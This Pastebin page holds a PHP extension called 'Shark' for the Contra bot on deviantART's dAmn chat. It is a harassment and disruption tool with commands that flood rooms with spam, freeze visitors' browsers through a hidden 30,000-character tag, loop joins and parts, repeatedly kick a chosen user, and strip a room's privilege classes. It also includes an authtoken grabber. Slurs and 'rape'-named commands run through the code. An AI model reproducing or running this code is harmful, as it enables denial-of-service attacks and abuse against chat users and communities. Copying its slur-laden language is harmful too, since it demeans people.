Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* ---Shark module for Contra
- * Not to be redistributed unless you have explicitly gained my permission.
- * Written by bloodshedsniper/i-hate-mushrooms/i-haet-mushrooms <infernowasp@gmail.com>
- */
- class dAmn_Shark extends extension {
- public $name = 'Shark';
- public $version = '4.2';
- public $about = 'No info, beat the fucking author, fagass.';
- public $status = true;
- public $author = 'i-hate-mushrooms';
- public $type = EXT_CUSTOM;
- function init() {
- $this->addCmd('f', 'c_freeze', 99);
- $this->addCmd('s', 'c_spam', 99);
- $this->addCmd('r', 'c_rape', 99);
- $this->addCmd('t', 'c_gettoken', 99);
- $this->addCmd('sr', 'c_spamrape', 99);
- $this->addCmd('log', 'c_login', 99);
- $this->addCmd('jsp', 'c_joinspampart', 99);
- $this->addCmd('kr', 'c_kickrape', 99);
- $this->addCmd('close', 'c_close', 99);
- // $this->addCmd('getcookie', 'c_cookie', 99);
- $this->cmdHelp('f', 'Freeze. Made specifically to freeze browsers. Outputs 30k dots in a hidden abbr per send. Will show as a blank send to normal users. Multiple send (using a number more than one) doesn\'t seem to work yet. f room 1');
- $this->cmdHelp('s', 'Spam. Basic flood cmd. s room number msg');
- $this->cmdHelp('r', 'Rape. join, part, join process loop. r room number');
- $this->cmdHelp('t', 'Grabs an autotoken. -The terminal input password feature doesn\'t seem to work very well on Linux. t username password');
- $this->cmdHelp('sr', 'Spam rape. msg, part, join, msg process loop. sr room number msg');
- $this->cmdHelp('log', 'Login. -The terminal input password feature doesn\'t seem to work very well on Linux. log username password');
- $this->cmdHelp('jsp', 'join, spam, part. Joining and parting automated for ease/speed of use. jsp room number msg');
- $this->cmdHelp('kr', 'Kickrape. kr user number msg/reason');
- $this->cmdHelp('close', 'Close a room. Based on :devMNBot:\'s close cmd; lacks close confirmation. Bot account must be in pc with +admin.');
- // $this->cmdHelp('getcookie', 'No help for this command, beat the author.');
- }
- function c_close($ns, $from, $message, $target) {
- $tg = args($message, 1);
- if (empty($tg))
- foreach($this->dAmn->chat[$ns]['pc'] as $ord => $pc) {$this->dAmn->admin($ns, " remove privclass $pc");}
- /* $this->dAmn->admin($ns, " update privclass $pc -msg");
- $this->dAmn->admin($ns, " rename privclass $pc to Faggots");
- $this->dAmn->admin($ns, " rename privclass Faggots to Holy");
- $this->dAmn->admin($ns, " rename privclass Holy to Shit");
- $this->dAmn->admin($ns, " rename privclass Shit to Look");
- $this->dAmn->admin($ns, " rename privclass Look to At");
- $this->dAmn->admin($ns, " rename privclass At to What");
- $this->dAmn->admin($ns, " rename privclass What to Is");
- $this->dAmn->admin($ns, " rename privclass Is to Happening");
- $this->dAmn->admin($ns, " rename privclass Happening to Rofl");
- $this->dAmn->admin($ns, " rename privclass Rofl to You");
- $this->dAmn->admin($ns, " rename privclass You to Got");
- $this->dAmn->admin($ns, " rename privclass Got to Owned");
- $this->dAmn->admin($ns, " rename privclass Owned to FuckedOver");}
- $this->dAmn->set($ns, "title", "<b>i accidentally in your base</b>");
- $this->dAmn->set($ns, "topic", str_repeat(':iconlololplz:', 2000));*/
- }
- function c_freeze($ns, $from, $message, $target) {
- $tg = args($message, 1);
- $nu = args($message, 2, true);
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> f room number');
- else
- $this->dAmn->join("chat:$tg");
- for ($i = 0; $i < $nu; $i++) {
- $this->dAmn->say("chat:$tg", "<abbr title='" . str_repeat('.', 30000) . "'>	</abbr>");
- }
- }
- function c_spam($ns, $from, $message, $target) {
- $tg = args($message, 1);
- $nu = args($message, 2);
- $msg = args($message, 3, true);
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> s room number msg');
- else
- $this->dAmn->join("chat:$tg");
- for($i = 0; $i < $nu; $i++) {
- $this->dAmn->say("chat:$tg", $msg);
- }
- }
- function c_joinspampart($ns, $from, $message, $target) {
- $tg = args($message, 1);
- $nu = args($message, 2);
- $msg = args($message, 3, true);
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> jsp room number msg');
- else
- $this->dAmn->join("chat:$tg");
- for ($i = 0; $i < $nu; $i++) {
- $this->dAmn->say("chat:$tg", $msg);
- }
- $this->dAmn->part("chat:$tg");
- }
- function c_rape($ns, $from, $message, $target) {
- $tg = args($message, 1);
- $nu = args($message, 2, true);
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> r room number');
- else {
- for ($i = 0; $i < $nu; $i++) {
- $this->dAmn->part("chat:$tg");
- $this->dAmn->join("chat:$tg");
- }
- }
- }
- /* function c_gettoken($ns, $from, $message, $target) {
- $user = args($message, 1);
- $pass = args($message, 2);
- $un = args($message, 3, true);
- if (empty($user))
- return
- $this->dAmn->say($ns, $from.': <b>Usage:</b> At least provide a username.');
- elseif (empty($pass)) {
- $this->dAmn->say($ns, $from.': Enter password in terminal/console. (This doesn\'t seem to work well on Linux btw lol)');
- print "What's the password? ";
- $pass = trim(fgets(STDIN));
- }
- $cookie = cookiegrab($user, $pass);
- if (empty($cookie))
- $this->dAmn->say($ns, $from.': Invalid username or password.');
- $this->dAmn->say($ns, $from.': ' . $cookie['authtoken']);
- }
- function c_spamrape($ns, $from, $message, $target) {
- $tg = args($message, 1);
- $nu = args($message, 2);
- $msg = args($message, 3, true);
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> sr room number');
- else
- for($i = 0; $i < $nu; $i++) {
- $this->dAmn->join("chat:$tg");
- $this->dAmn->say("chat:$tg", $msg);
- $this->dAmn->part("chat:$tg");
- }
- }
- function c_login($ns, $from, $message, $target) {
- $user = args($message, 1);
- $pass = args($message, 2);
- $wut = args($message, 3, true);
- if (empty($user))
- $this->dAmn->say($ns, $from.': At least provide a username.');
- elseif (empty($pass)) {
- $this->dAmn->say($ns, $from.': Enter password in the console. (This doesn\'t seem to work well on Linux btw lol)');
- print "What's $user's password? ";
- $pass = trim(fgets(STDIN));
- }
- $cookie = cookiegrab($user, $pass);
- if (empty($cookie))
- $this->dAmn->say($ns, $from.': Invalid username or password.');
- $this->Bot->username = $user;
- $this->Bot->cookie['authtoken'] = $cookie['authtoken'];
- $this->dAmn->disconnect();
- }*/
- function c_kickrape($ns, $from, $message, $target) {
- $user = args($message, 1);
- $nu = args($message, 2);
- $res = args($message, 3, true);
- if(empty($user)) {
- $this->dAmn->say($ns, $from.': <b>Usage:</b> kr username number msg/reason');
- return;
- }
- if (!is_numeric($nu))
- $r = args($message, 2, true); $r = $r==''?false:$r;
- for($i = 0; $i < $nu; $i++) {
- sleep(1);
- $this->dAmn->kick($target, $user, $res);
- }
- }
- }
- define('LBR', chr(10));
- function cookiegrab($username, $pass) {
- $socket = fsockopen('ssl://www.deviantart.com', 443);
- if ($socket === false) {
- echo '>> Unable to connect.'.LBR;
- echo '>> Check your connection.'.LBR;
- return 1;
- }
- $POST = 'ref='.urlencode('https://www.deviantart.com/users/login');
- $POST.= '&username='.urlencode($username);
- $POST.= '&password='.urlencode($pass);
- $POST.= '&reusetoken=1' . chr(0);
- fputs($socket, 'POST /users/login HTTP/1.1'.LBR);
- fputs($socket, 'Host: www.deviantart.com'.LBR);
- fputs($socket, 'User-Agent: Authtoken grabber'.LBR);
- fputs($socket, 'Accept: text/html'.LBR);
- fputs($socket, 'Cookie: skipintro=1'.LBR);
- fputs($socket, 'Content-Type: application/x-www-form-urlencoded'.LBR);
- fputs($socket, 'Content-Length: ' . strlen ($POST) . LBR . LBR . $POST);
- $response = '';
- while (!feof ($socket))
- $response .= fgets ($socket, 500);
- fclose ($socket);
- if(!empty($response)) {
- $response = urldecode($response);
- $response = substr($response, strpos($response,'=')+1);
- $cookie = unserialize(substr($response, 0, strpos($response, ';};')+2));
- if(is_array($cookie)) {
- if(array_key_exists('authtoken', $cookie))
- return $cookie;
- }
- }
- return Null;
- }
- new dAmn_Shark;
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement